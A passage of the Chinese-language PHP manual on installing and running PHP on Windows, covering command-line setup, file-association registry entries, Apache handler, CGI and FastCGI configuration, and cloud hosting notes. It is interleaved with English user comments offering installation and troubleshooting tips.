You can alter the Makefile and add the following switch to CFLAGS:

/D _WIN32_WINNT
php at tattodecastro dot com 06-Dec-2007 04:14
If you are getting the following error message:
Input Error: There is no script engine for file extension ".js"
with Visual Studio 2005 Command Prompt or similar, try to add  "/e:jscript" to the command line.

Something like:
cscript /nologo /e:jscript win32/build/buildconf.js

It worked for me, I hope it helps.
axel at kollmorgen dot net 27-May-2007 06:13
>>Compiling using Visual Studio .NET will create binaries dependent of msvcp71.dll
>
> Only if you compile with the wrong runtime library.

if this is so easy, please tell us how you managed to *not* create dependencies on msvcp71.dll/msvcr80/... using Visual C++ .NET 2000/2003/2005. thanks!
10-Dec-2006 06:09
>> Compiling using Visual Studio .NET will create binaries dependent of msvcp71.dll

Only if you compile with the wrong runtime library.
zbowden at vt dot edu 12-May-2006 07:12
When running "cscript /nologo configure.js" 5.x on Windows
2000 or XP, if you get the following error:
Microsoft JScript runtime error: Object doesn't support this
property or method

You need to have at least version 5.6 of WSH.
This is necessary because configure.js will use the .Exec()
method of the WScript.Shell.
This evidently didn't exist until 5.6?

You can download WSH 5.6 here:
http://www.microsoft.com/downloads/details.aspx?
FamilyID=c717d943-7e4b-4622-86eb-95a22b832caa&DisplayLang=en


PHP 在 Microsoft Windows 下的命令行方式

本章包含有针对在 Windows 下以命令行运行 PHP 的说明与提示。

Note:

应该先阅读 手工安装步骤！

要在命令行下运行 PHP，可以无需对 Windows 做任何改动。

C:\php\php.exe -f "C:\PHP Scripts\script.php" -- -arg1 -arg2 -arg3

但是有几个很容易的步骤可以使其更加简便。某些步骤可能已经在之前完成了，不过还是在这里重复说明以便提供一个完整的步骤序列。

    Note:

    PATH 和 PATHEXT 都是在 Windows 下已有的重要环境变量，要留意不要覆盖了其内容，仅仅是向其中添加内容。

  • 将 PHP 可执行文件（php.exe，php-win.exe 或者 php-cli.exe）的路径添加到 PATH 环境变量中去。如何将 PHP 目录添加到 PATH 中请参阅与之相关的常见问题。

  • 将 .PHP 后缀添加到 PATHEXT 环境变量中去。可以在修改 PATH 环境变量时同时进行。跟常见问题中说明的步骤一样，要修改的是 PATHEXT 环境变量而不是 PATH 环境变量。

    Note:

    把 .PHP 放置到什么位置将决定具有相同文件名时运行的优先级。例如将 .PHP 放到 .BAT 之前将导致如果有同名的 PHP 脚本和批处理文件，则 PHP 脚本会运行。

  • 将 .PHP 后缀关联为一种文件类型，用以下命令完成：

    assoc .php=phpfile

  • 将 phpfile 文件类型关联到适当的 PHP 可执行文件，用以下命令完成：

    ftype phpfile="C:\php\php.exe" -f "%1" -- %~2

按照以上步骤将使 PHP 脚本可以在任何目录下运行，不需要输入 PHP 可执行文件名以及 .PHP 后缀，并且所有参数都会被传递给脚本来处理。

以下例子说明了可以手工修改的注册表项目变化。

Example #1 注册表变化

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.php]
@="phpfile"
"Content Type"="application/php"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile]
@="PHP Script"
"EditFlags"=dword:00000000
"BrowserFlags"=dword:00000008
"AlwaysShowExt"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\DefaultIcon]
@="C:\\php\\php-win.exe,0"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell]
@="Open"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell\Open]
@="&Open"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell\Open\command]
@="\"C:\\php\\php.exe\" -f \"%1\" -- %~2"

有了这些改变之后，本页顶端第一个例子中的命令可以写成这样：

"C:\PHP Scripts\script" -arg1 -arg2 -arg3
或者如果 "C:\PHP Scripts" 路径位于 PATH 环境变量中的话：
script -arg1 -arg2 -arg3

Note:

不过如果想要通过此技巧将 PHP 脚本作为命令行管道过滤器的话，有个小问题。例如以下例子：

dir | "C:\PHP Scripts\script" -arg1 -arg2 -arg3
或者
dir | script -arg1 -arg2 -arg3
此时脚本只是挂起，没有输出任何内容。要解决此问题，还需要做一个注册表修改。
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]
"InheritConsoleHandles"=dword:00000001
有关此问题的更多信息见» 微软知识库文章：321788。 从 Windows 10 开始，此设置似乎被颠倒，请参考以下链接 » Microsoft 论坛帖子。

User Contributed Notes

vechenjivot at gmail dot com 15-Jan-2016 01:18
On Windows 10, the above registry entries didn't work for me. In order for them to work, you need to write to
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.php\UserChoice
for which you don't have access, even if you run regedit as admin (probably because of the Hash key).
The solution is actually much easier - right-click a PHP file in Explorer and associate it to always open with php.exe.
And then you need to modify the PATH variable:
setx PATH "%PATH%;c:\path\to\php" /M
if you want to execute files with commands like
php file.php
rudigerw at hotmail dot com 31-Dec-2015 08:09
On Windows 10 starting php by only typing the script name in an elevated command prompt pops up a dialog to choose an app.
It turns out Windows does that when the program associated with phpfiles through ftype cannot be executed. In this case this happens because it is trying to run php.exe in non-admin mode, even when launched from an elevated command prompt. To fix this, locate your php.exe, right-click, "Properties",  "Compatibility", under Settings check "Run this program as an administrator; then also click "Change settings for all users".
elhadjouattara at gmail dot thrcom 26-Apr-2015 05:47
On Windows 8, with php 5.6.8 win32 VC11 in command line, need to indicate path with / rather than backslash \
Hence C:\Users\toshiba\Documents\php\test.php shall be C:/Users/toshiba/Documents/php/test.php
pimroes at gmail dot com 11-Jan-2011 12:11
Make sure your run CMD.exe as an administrator, otherwise you'll get an "access denied" when you run the commands.


Microsoft Windows 下的 Apache 2.x

本节包括在 Microsoft Windows 系统中针对 Apache 2.x 安装 PHP 的指导与说明。

Note:

请先阅读手工安装步骤！

强烈建议阅读 » Apache 文档 来加深对 Apache 2.x 服务器的基本理解。此外在继续下去之前考虑先阅读一下 Apache 2.x 的 » Windows 下使用说明。

下载最新版本的 » Apache 2.x 以及适合的 PHP 版本。先完成手工安装步骤后再回来继续将 PHP 集成入 Apache。

Windows 下有三种方法使 PHP 工作于 Apache 2.x 之中。可以以 handler、CGI、或者 FastCGI 方式运行 PHP。

Note: 记住当在 Windows 环境下的 Apache 配置文件中添加路径值时，所有的反斜线，如 c:\directory\file.ext，应转换为正斜线： c:/directory/file.ext。对目录来说，也必须由斜线结尾。

以 Apache handler 方式安装

需要将以下几行加入到 Apache 的 httpd.conf 配置文件中以加载 Apache 2.x 的 PHP 模块：

Example #1 PHP 在 Apache 2.x 中作为 handler

# 在 PHP 8.0.0 之前，模块的名称是 php7_module
LoadModule php_module "c:/php/php8apache2_4.dll"
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>
# 配置 php.ini 的路径
PHPIniDir "C:/php"

Note: 必须使用实际的 PHP 路径替换掉上例中的 c:/php/。 确保在 LoadModule 指令中引用的文件位于所指定的位置。 PHP 7 使用 php7apache2_4.dll， PHP 8 使用 php8apache2_4.dll。

以 CGI 方式运行 PHP

要更好地理解在 Apache 下运行 CGI，请参阅 » Apache CGI 文档。

要将 PHP 以 CGI 方式运行，需要将 php-cgi 文件放入到用 ScriptAlias 指令所指定的 CGI 目录中。

然后需要给 PHP 文件中添加 #! 的一行来指明 PHP 可执行文件的位置：

Example #2 Apache 2.x 下 CGI 方式的 PHP

#!C:/php/php.exe
<?php
  phpinfo();
?>

Warning

服务器使用 CGI 方式进行部署可能存在几个公开的缺陷。请阅读 CGI 安全一章 以学习 如何抵御这些攻击。

以 FastCGI 方式运行 PHP

以 FastCGI 方式运行 PHP 比起 CGI 方式有很多优点。设定的方式很直接：

从 » https://www.apachelounge.com 取得 mod_fcgid，该站点有 Win32 可执行文件的下载。按照下载文件中的指示安装此模块。

按以下方法配置 web 服务器，注意用自己系统上的路径替换其中相应的内容：

Example #3 配置 Apache 以 FastCGI 方式运行 PHP

LoadModule fcgid_module modules/mod_fcgid.so

# php.ini 文件的位置
FcgidInitialEnv PHPRC        "c:/php"

<FilesMatch \.php$>
    SetHandler fcgid-script
</FilesMatch>
FcgidWrapper "c:/php/php-cgi.exe" .php
此时具有 .php 后缀的文件将被 PHP FastCGI 所解析执行。

User Contributed Notes

alx dot suvorov at gmail dot com 14-Mar-2018 07:28
For PHP 7 configuration just add these lines to the end of httpd.conf file (of Apache):

PHPIniDir "/alex/apps/php-7.2.3/"
LoadModule php7_module "C:/alex/apps/php-7.2.3/php7apache2_4.dll"
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

Here "/alex/apps/php-7.2.3/" is PHP path.

Then:
1. Rename php.ini-development or php.ini-production to php.ini
2. Uncomment / set extension_dir parameter in php.ini
; Directory in which the loadable extensions (modules) reside.
; http://php.net/extension-dir
; extension_dir = "./"
; On windows:
extension_dir = "ext"

You are set. Just re/start Apache server (httpd -k restart).
gmatwy at gmail dot com 30-Sep-2016 06:24
version
httpd-2.4.23-win32-VC14.zip
php-5.6.26-ts-Win32-VC11-x86.zip

install path c:/wamp/
php path c:/wamp/php
apache path c:/wamp/Apache24
used as Apache handler

modify as below

#below for apache
#modify c:/ to c:/wamp/
#modify ServerName to localhost:80 and remove#
#DirectoryIndex insert index.php

#below for php
#rename file php.ini-production to php.ini
LoadModule php5_module "C:/wamp/php/php5apache2_4.dll"
PHPIniDir "C:/wamp/php/"

AddType application/x-httpd-php .php
AddType application/x-httpd-php .html

AddHandler application/x-httpd-php .php

And things goes well !
a user 20-Dec-2015 02:32
If you are having issues getting the PHPIniDir or LoadModule directives to work and all the suggestions already given do not help, double-check if you are not using fancy quotes around your paths (' '  " ").

This happened to me because I copied the statements from a random website. In my text editor the difference was barely noticeable, but to Apache it certainly is!

For example, this will not work:
PHPIniDir "C:/PHP7"

But this will work:
PHPIniDir "C:/PHP7"
ohcc at 163 dot com 25-Jul-2015 04:48
If you come with an error like this: Wrapper xxxx cannot be accessed: blah blah blah when starting Apache.

You have 3 choices to solve this problem. Any one of them would work.

1. Reinstall your applictions in paths that do not contain spaces.

2. Place a backslash before every space in the path set to the FcgidWrapper directive in httpd.conf, like:

FcgidWrapper "C:/Program\ Files/PHPServer/PHP/php-cgi.exe" .php

3. Use mklink (or junction for windows XP/2003) to create a symbol link to the path of php-cgi.exe's containing folder.

run cmd.exe and type this command:

mklink /j C:\php\ "C:\Program Files\PHPServer\PHP".

or this command if you are on Windows XP/2003

junction C:\php\ "C:\Program Files\PHPServer\PHP"

Remember this : you need to download junction.exe to use it. Don't know where to download? Google it.

Then the FcgidWrapper directive should be like this:

FcgidWrapper "C:/php/php-cgi.exe" .php

Don't forget to change the paths above to your working paths.
ohcc at 163 dot com 25-Jul-2015 07:55
If you come with an error like this: Wrapper xxxx cannot be accessed: blah blah blah when starting Apache.

You have 3 choices to solve this problem. Any one of them would work.

1. Install your applictions in paths that do not contains spaces.

2. Place a backslash before every space in the path set to Wrapper, like:

FctidWrapper "C:/Program\ Files/PHPServer/PHP/php-cgi.exe" .php

3. Use mklink (or junction for windows XP/2003) to create a link to the path you have installed php in.

run cmd.exe and type this command:

 mklink /j C:\php\ "C:\Program Files\PHPServer\PHP".

 or this command if you are on Windows XP/2003

 junction C:\php\ "C:\Program Files\PHPServer\PHP"

 Remember this : you have to download online to use this application. Don't know where to download? Go and Google it.

Then the FctidWrapper directive should be like this:

FctidWrapper "C:/php/php-cgi.exe" .php

Don't forget to change the paths above to your working paths.
BuggedApache 06-Mar-2015 10:39
Windows Apache 2.4.12 (x64) PHP 5.6.5 (x64)
If your Apache still outputs code instead of parsing a script. Make sure you put a trailing "\" at the end of the PHPIniDir value and use ONLY "\" in path to PHPIniDir. And "/" in LoadModule. A very subtle "feature" of Apache module. Lost several hours after upgrading to apache x64 to resolve the issue.

httpd.conf
###############################################
PHPIniDir "C:\folder\to\hold\php\"
LoadModule php5_module "C:/folder/to/hold/php/php5apache2_4.dll"
AddHandler application/x-httpd-php .php
###############################################
Anonymous 23-Jan-2015 03:10
With Apache 2.4 in Windows, it seems that PHPIniDir directive must come before LoadModule directive to be used. Also, name of the DLL file seems to be php5apache2_4.dll, not php5apache2.dll.

This configuration in httpd.conf works for me (Apache 2.4.10, PHP 5.6.5):

PHPIniDir "C:\PHP"

LoadModule php5_module "c:/php/php5apache2_4.dll"
<FilesMatch \.php$>
      SetHandler application/x-httpd-php
</FilesMatch>
kynetikmedia at gmail dot com 04-Jun-2014 02:47
****Installed and Working 1- Fell Swoop - UPDATED****
Installed on Windows 8.1 XPS 12 - Dell 8GB RAM 128GB SSD -
Notes - Complications due to Apache latest version causes issues with the PHP handler on install.  Following below will get it run right off the bat.

Getting and installing Apache

1  In your browser go to h t t p : / / h t t p d . a p a c h e . o r g / d o w n l o a d . c g i
   (without the spaces) - You will need to go 'Other Files' , 'Binaries' , 'W32', and then your installer MSI will be listed as below.
2  Click on  httpd-2.2.25-win32-x86-no_ssl.msi
   (this is a self-installing executable file without crypto ... no Secure Socket Layer)
   (2.2.25was the latest version on June 4, 2014)
3  Click on the httpd-2.2.25-win32-x86-no_ssl.msi file after it downloads
   (single click on the file tab in Chrome or double click on the actual file in Downloads)
4  Click Next
5  Click I accept the terms in the license agreement
6  Click Next
7  Click Next
8  Type localhost in the top box
9  Type localhost in the middle box
10 Type admin@localhost.com in the bottom box
11 Click Next
12 Click Next
13 Click Next
14 Click Install and wait
15 Cick Yes to allow the program to make changes
16 Click Finish

Testing Apache

1  Type localhost in your browser location box (I use Chrome) or type h t t p : / / l o c a l h o s t
   (without the spaces)
2  The message It works! should appear.

Getting and installing PHP

1  In your browser go to h t t p : / / w i n d o w s . p h p . n e t / d o w n l o a d /
   (without the spaces)
2  Click on the Installer link under PHP 5.3 (5.3.10)   VC9 x86 Thread Safe
   (Ignore the Do NOT use VC9 version with apache.org binaries comment on the side panel)
3  Click on the php-5.3.10-Win32-VC9-x86.msi file after in downloads
   (single click on the file tab in Chrome or double click on the actual file in Downloads)
4  Click Next
5  Click I accept the terms in the License Agreement
6  Click Next
7  Click Next
8  Click Apache 2.2.x Module
9  Click Next
10 Click Browse
11 Double click Apache Software Foundation
12 Double click Apache 2.2
13 Double click conf
14 Click OK
15 Click Next
16 Click Next
17 Click Install and wait
18 Cick Yes to allow the program to make changes
19 Click Finish

Testing PHP with Apache

1  Open Notepad
2  Type 'left bracket character'?php phpinfo(); ?'right bracket character'
3  Save the file to C:\Program Files (x86)\Apache Software Foundation\Apache2.2\htdocs as test.php
4  Type localhost/test.php in your browser location box (I use Chrome) or type h t t p : / / l o c a l h o s t / t e s t . p h p
5  A table with title PHP Version ... should appear

DONE
jangirashok at gmail dot com 27-Apr-2014 05:15
Can anyone tell me: Why PHP + Apache 2.2.x installation is such a big deal. I am a Java Developer and currently I am trying to learn PHP, but I am not able to install PHP and use it the way we use Java. I could use steps mentioned in comments and run home.php from htdocs folder of apache. But, could anyone please tell me DO I HAVE TO PUT EVERY FILE IN THE SAME FOLDER? Can't I make my workbench where I can put a good project hierarchy and use it like other languages. Its horrible. May be my question is little silly, but I need help for sure.
Thanks...
tmnuwan12 at yahoo dot com 06-Feb-2014 03:13
I am very new to PHP. I was looking to start a Drupal project and spend almost 4 hours to get Apache and Drupal talk each other.
What I found out was there are lots of mismatch in documentation and snapshots.

As I am using Windows I found out following two installation bundles works without any issue.

php-5.3.28-Win32-VC9-x86.msi
httpd-2.2.25-win32-x86-openssl-0.9.8y.msi

Make sure you install your packages directly into into C: drive in Windows machine (If there are spaces in the file paths it would cause issues).

Hope this would help someone.
wolfeh1994 at yahoo dot com 13-Jan-2014 02:11
Please for the love of god, download the threaded version. I spent over an hour trying to figure out why php5apache2.dll could not be found, and while desperately looking through manuals I went into the php 5 structure and found that it doesn't exist in the non-threaded version.

This really could use a mention somewhere other than the PHP 5 structure, like the paragraph to the left of the homepage which talks about which PHP version to choose, or this part of the manual which covers Apache... Anywhere but structure, seriously. I would have never guessed to look there.
compleatguru at gmail dot com 27-Sep-2013 03:05
I am using Windows 8 x64, running Apache 2.2 and php 5.4.20

I found that it is necessary to add System Environment Variable PHPRC=[PHP path], so that php.ini is loaded using your PHP path, instead of C:\Windows.

This is how I do for my laptop
Go to Control Panel\System and Security\System\Advanced System Settings\Environment Variables

Add New System Variable
Name: PHPRC
Value: C:\php-5.4.20

Hope it relieve those who keep having empty string for Loaded Configuration File under phpinfo();
Guillermo Tallano 03-Aug-2013 05:15
Hi guys,
In my case, it work right away when I change the version to thread-safe.
I spent some time trying the different things that were posted here and I was kind of lazy about downloading a different version, but once I test it with a thead-safe it started right away. So be sure you try this.

I was on Apache 2.2, XP and php 5.2.17 thread-safe

This is my conf:
LoadModule php5_module "c:/php5/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
#configure the path to php.ini
PHPIniDir 'C:\php5\'

Good luck!
Amaroq 28-Mar-2013 10:53
Like someone else mentioned, on the Windows download page for PHP, ignore the warning about not downloading the VC9 compiled installers for the Apache.org version of Apache.

Whoever wrote that is guaranteeing that people install a PHP that breaks their Apache server. (On Windows 7 anyway.) The installer failed to write the correct path info to httpd.conf, and even after fixing that manually, Apache wouldn't start because of missing dlls.

Ignore that dumb warning and get the newest installer anyway. Everything just plain works with no hassle and no hunting down dll files over google.
Maw 31-Jan-2013 09:26
Good God finally I was able to make PHP 5.2 work on Apache 2.4. For those still having problems with "You don't have permission to run php-cgi.exe", you must replace "Order allow,deny" and "Allow from all" from the PHP directory block with "Require all granted". They must have changed the format with Apache 2.4 since the old method used to work just fine for me before.

So the usual method of setting up CGI, I'm sure you already know that you should add these 3 lines to httpd.conf:
ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php
Action application/x-httpd-php "/php/php-cgi.exe"

And now add the directory for PHP:
<Directory "c:/php">
    AllowOverride None
    Options None
    Require all granted
</Directory>

Important: Notice that instead of "Order allow,deny" and "Allow from all" added into the PHP directory as usual, I replaced them with "Require all granted" as I mentioned above.
a solution for simpletons like me 25-Apr-2012 07:54
Installing Apache and PHP on Windows 7 Home Premium on a Gateway NV75S laptop with a quad AMD A6-3400M

All I need to do with these programs is to test my website out on my laptop.  I have HTML and PHP files. I do not need MySQL as I use html5 storage.

Getting and installing Apache

1  In your browser go to h t t p : / / h t t p d . a p a c h e . o r g / d o w n l o a d . c g i
   (without the spaces)
2  Click on  httpd-2.2.22-win32-x86-no_ssl.msi
   (this is a self-installing executable file without crypto ... no Secure Socket Layer)
   (2.2.22 was the latest version on April 25, 2012)
3  Click on the httpd-2.2.22-win32-x86-no_ssl.msi file after it downloads
   (single click on the file tab in Chrome or double click on the actual file in Downloads)
4  Click Next
5  Click I accept the terms in the license agreement
6  Click Next
7  Click Next
8  Type localhost in the top box
9  Type localhost in the middle box
10 Type admin@localhost.com in the bottom box
11 Click Next
12 Click Next
13 Click Next
14 Click Install and wait
15 Cick Yes to allow the program to make changes
16 Click Finish

Testing Apache

1  Type localhost in your browser location box (I use Chrome) or type h t t p : / / l o c a l h o s t
   (without the spaces)
2  The message It works! should appear.

Getting and installing PHP

1  In your browser go to h t t p : / / w i n d o w s . p h p . n e t / d o w n l o a d /
   (without the spaces)
2  Click on the Installer link under PHP 5.3 (5.3.10)   VC9 x86 Thread Safe
   (Ignore the Do NOT use VC9 version with apache.org binaries comment on the side panel)
3  Click on the php-5.3.10-Win32-VC9-x86.msi file after in downloads
   (single click on the file tab in Chrome or double click on the actual file in Downloads)
4  Click Next
5  Click I accept the terms in the License Agreement
6  Click Next
7  Click Next
8  Click Apache 2.2.x Module
9  Click Next
10 Click Browse
11 Double click Apache Software Foundation
12 Double click Apache 2.2
13 Double click conf
14 Click OK
15 Click Next
16 Click Next
17 Click Install and wait
18 Cick Yes to allow the program to make changes
19 Click Finish

Testing PHP with Apache

1  Open Notepad
2  Type 'left bracket character'?php phpinfo(); ?'right bracket character'
3  Save the file to C:\Program Files (x86)\Apache Software Foundation\Apache2.2\htdocs as test.php
4  Type localhost/test.php in your browser location box (I use Chrome) or type h t t p : / / l o c a l h o s t / t e s t . p h p
5  A table with title PHP Version ... should appear

DONE
Bechesa at gmail dot com 15-Mar-2012 11:56
Just a note
It might be important you include the absolute path to the php.ini  file inside the httpd.conf file so that php may load all the module(s).

below is an example

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir 'C:\PHP\php.ini'
LoadModule php5_module "c:/php/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL

OS: windows 2008
webserver: apache2.2
bdav 05-Mar-2012 02:23
After spending few hours finally figured out that PHPINIDir path should be in single quotes and with backslash and php module with double quotes and regular slashes:

PHPIniDir 'c:\apps\php\'
LoadModule php5_module "c:/apps/php/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
Z Carlos at Fortaleza 04-Feb-2012 10:09
A Thread Safe version should be used if you install PHP as an Apache module. The Non Thread Safe version should be used if you install PHP as a CGI binary.
bradley dot henke at colorado dot edu 31-Oct-2011 01:38
I was able to get apache up and running without any problems. Then I tried installing php and it crashed trying to read "C:/php/php5apache2.dll".

Fixed the problem by switching it to "C:/php/php5apache2_2.dll"

Hope that helps!
Cooldude 31-Aug-2011 07:56
Also had an exception problem when trying to use mysql with apache and php5.

I had to add:

"<my MySQL folder>\bin" folder to path
"<my php folder>\ext" to path

that fixed it
Cameron 14-May-2011 11:37
Here is yet another aspect of the "faulting module php5ts.dll" crash when trying to start apache.
I installed Apache 2.2.18, Mysql 5.1.57 and PHP 5.2.17 (apache module, VC6 thread-safe - initially with no extensions) on a fresh WinXP SP3 system. The versions chosen were because I was trying to replicate as near as possible apps on my Linux server.

Everything configured and ran properly without php extensions, so I then reran the msi installer and chose the necessary extensions.  I reconfigured httpd.conf  but apache then just kept crashing.
Eventually I came across the "fix" mentioned elsewhere "copy libmysql.dll to apache folder" and suddenly it worked. But why? I checked and the php installation folder was in the system path. The answer was simply that I had never rebooted. It seems that whatever process controls windows services only reads the path at boot time.  I was thrown by assuming that if I started httpd from the command line then it would inherit that path.

Here are a few diagnostic tips that helped me along the way:

Try the CLI command:
php -m
and see that the command line version loads all the modules you asked for.

in php.ini, enable
display_errors = On
and
display_startup_errors = On
The latter pops up a window saying which extension it has trouble loading. Of course it is not perfectly clear, because it says something like 'unable to load "C:\php\ext\php_mysql.dll" - The specified module could not be found'. It lies - it really does find that dll, but it must have failed on the dependency of libmysql.dll.
farinspace 20-Nov-2010 11:36
Running PHP under FastCGI:

Besides the following in your httpd.conf

    LoadModule fcgid_module modules/mod_fcgid.so
    FcgidInitialEnv PHPRC "c:/php"
    AddHandler fcgid-script .php
    FcgidWrapper "c:/php/php-cgi.exe" .php

Remember to add the following to the default <Directory "C:/apache/htdocs"> block (or virtual host blocks):

    Options ExecCGI
lebovskiy at ua dot fm 16-Nov-2010 10:59
I install httpd-2.2.17-win32-x86-openssl-0.9.8o.msi and after
php-5.3.3-Win32-VC9-x86.msi on WinXP SP3. PHP installation add to httpd.conf next lines:

LoadModule php5_module "C:/PHP/php5apache2_2.dll
"PHPIniDir "C:/PHP"

After it Apache don`t starts. If remove PHPIniDir line Apache  starts ok, but C:/PHP/php.ini don`t loaded. So you can`t use any extension (for me it's MySQL).

I uninstall VC9 version and install VC6 (php-5.3.3-Win32-VC6-x86.msi) version. All works fine now.
halmai 15-Nov-2010 03:42
I wanted to install PHP5.3 for Apache2.2 with PostgreSql 9.0 support on WindowsXP. It took me hours to solve it.

The following possible problems occur:
- You should use the VC6-compiled version of php instead of VC9. The later one does not work properly with apache.
- the postgres handler dlls are not working in PHP5.3.

The symptom was a misleading and very confusing error message:

Unable to load dynamic library 'c:\Progra~1\PHP\ext\php_pgsql.dll'

The dll itself was there but when it started to load the other dll (libpq.dll) from the php directory then this caused an error. This error was misinterpreted internally in the above message.

The solution was NOT to use the libpq.dll from php but use it from postgres distribution instead.

For this purpose I inserted the following line into the apache httpd conf:

LoadFile "C:/Progra~1/PostgreSQL/9.0/bin/libpq.dll"

This preloads the dll. When php_pgsql.dll would load his own libpq.dll, then there is the preloaded version of this file in the memory already. This prevents us from using the bad version of dll.

I hope I helped.
Nick 16-Jun-2010 06:48
After using the Windows installer for Apache 2.2 and PHP 5.3.2, and installing PHP as an Apache module (not CGI), Apache would crash and fail to start. There were two problems with the configuration files for Apache and PHP.

First, make sure your Apache configuration file reads something similar to:

LoadModule php5_module "C:/Program Files/PHP/php5apache2_2.dll"
PHPIniDir "C:/Program Files/PHP/"

While other users have disabled some or all of the MySQL extensions to prevent all three from running at the same time, I have all of them enabled. However, I do not have PostgreSQL, so I needed to comment out loading the php_pgsql.dll in my php.ini file, as follows:

;[PHP_PGSQL]
;extension=php_pgsql.dll

This stopped Apache from crashing and started successfully.
Michael 03-Mar-2010 09:48
The value for FcgidWrapper cannot contain spaces..

This won't work:
FcgidWrapper "c:/program files (x86)/php/php-cgi.exe" .php

But this will:
FcgidWrapper "c:/progra~2/php/php-cgi.exe" .php
Steve 23-Feb-2010 04:53
I also had a problem with the PHPIniDir declaration.  This is with Apache 2.2 on XP.  I had to include a final slash, as in PHPIniDir "C:\Program Files\php\".  Apache failed to start if I did not include the slash after php.
Anonymous 10-Dec-2009 01:25
If anybody here encounters an error regarding PHPIniDir, change PHPIniDir "C:/php/" to PHPIniDir "C:\php\".
nicolas dot grasset at gmail dot com 07-Jul-2009 10:08
Here is how I created a silent install for Apache2.2 and PHP5.2.10 on Windows XP (running on a MacBook Pro):

Download Apache2 and PHP5 installer files in a directory and update the msi file names in the following commands.

To have PHP installer find Apache2, do not forget APACHEDIR!

msiexec /i apache_2.2.11-win32-x86-no_ssl.msi /passive ALLUSERS=1 SERVERADMIN=admin@localhost SERVERNAME=localhost SERVERDOMAIN=localhost SERVERPORT=80 INSTALLDIR=c:\apache
msiexec /i php-5.2.10-win32-installer.msi /qn APACHEDIR=c:\apache INSTALLDIR=c:\php ADDLOCAL=ext_php_mssql,apache22
net stop "Apache2.2"
net start "Apache2.2"
Anonymous 26-Feb-2009 06:32
i followed henke37's way to for the httpd.conf

I added all this at the very end of httpd.conf

# For PHP 5
#load the php main library to avoid dll hell
Loadfile "C:\php-5.2.8-Win32\php5ts.dll"

#load the sapi so that apache can use php
LoadModule php5_module "C:\php-5.2.8-Win32\php5apache2_2.dll"

#set the php.ini location so that you don't have to waste time guessing where it is
PHPIniDir "C:\php-5.2.8-Win32"

#Hook the php file extensions
AddHandler application/x-httpd-php .php
AddHandler application/x-httpd-php-source .phps

Also i didn't use short open tags as they are disabled in
"php.ini-recommended" if you don't change anything
So use this to test
<?php
 phpinfo();
?>
NOT
<? phpinfo(); ?> short open tags

added my php directory to the PATH system variable and i start apache manually not as a service

It works for me hope it helps you!
mjm at alum dot mit dot edu 26-Jan-2008 08:33
If you use the PHP 5 installer, you'll notice that it uses the wrong type of slash on Windows!

Change C:/Program Files/PHP/" to C:\Program Files\PHP\" and everything works great!
packard_bell_nec at hotmail dot com 02-Oct-2007 08:24
If you install PHP as an Apache CGI binary, you can add:
AddHandler cgi-script .php
into Apache httpd.conf, and add shebang line to every PHP scripts like:
#!php
<?php
phpinfo();
?>
. But adding shebang line has a disadvantage that if you decided to install PHP as an Apache module afterwards, then the shebang line WILL appear in the web page.
In fact, you do NOT need to add shebang line to every PHP script even if you install PHP as an Apache CGI binary, because you can add:
ScriptInterpreterSource Registry-Strict
into Apache httpd.conf, and make the registry file and merge it like:
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\.php\Shell\ExecCGI\Command]
@="\"C:\\Program Files\\PHP\\php-cgi.exe\""
. Then you will NOT need to change the PHP scripts which do not contain shebang line.


Windows 下 PHP 故障排除

检查临时目录权限

  1. 在"文件管理器"中右键单击"临时目录"以获得权限。

  2. IIS, 检查用户的 IIS_User 是否有修改文件的权限。可以从配置或 php info 中获取临时目录的位置。

User Contributed Notes

There are no user contributed notes for this page.


云计算平台上的安装

Table of Contents

  • Azure 应用服务
  • Amazon EC2

PHP 在云平台上的安装。进入 PHP 云世界！

User Contributed Notes

There are no user contributed notes for this page.


Azure 应用服务

PHP 经常用于 Azure 应用服务（又称 Microsoft Azure、Windows Azure、Azure Web 应用）。

Azure 应用服务通过管理 Windows Web 应用池来托管 web 应用程序，作为在你自己的 Azure 计算虚拟机或者其他服务器的 web 服务器管理的替代品。

在 Azure 应用服务中 PHP 将会自动启用。 在 Azure 门户，选择你的站点，选择要使用的 PHP 版本。可能希望选择比默认更高的版本。

因此，PHP 和扩展将跟在其他 Windows 服务器一样在 Azure 应用服务上运行。 大部分的知识库也适用，因此也可以参阅 Windows 疑难解答页面。 然而，Azure 应用管理的管理界面是不同的：

  • Azure 门户：创建，编辑设置和删除 web 站点。 » Azure 门户

  • Kudu 仪表盘：[web 站点名称].azurewebsites.net，然后 Kudu 仪表盘是 » https://[web 站点名称].scm.azurewebsites.net/。仪表盘允许你访问一些调试功能，文件管理和站点扩展。站点扩展是 Azure 机制，用于添加像是 PHP 预览版本到扩展程序。

  • 你不能使用 IIS 管理器、服务器管理器、RDP。

还有 PHP SDK，支持用 PHP 代码调用许多 Azure 服务。参阅 » Azure SDK for PHP。

更多信息，参阅 » Azure PHP 开发人员中心

WinCache

在 Azure 应用服务中默认启用了 WinCache ，并且推荐保持开启状态。 如果安装的是自己编译的 PHP，也应该启用 WinCache。

自定义编译 PHP

可以上传自己编译的 PHP 到 D:\Home (C:\ 不可写)。然后在 Azure 门户，为 .php 的 SCRIPT_PROCESSOR 设置为自己编译的 php-cgi.exe 文件的绝对路径。

User Contributed Notes

There are no user contributed notes for this page.


Amazon EC2

» EC2 云平台上 PHP 的安装。

参见 » AWS SDK for PHP。

User Contributed Notes

There are no user contributed notes for this page.


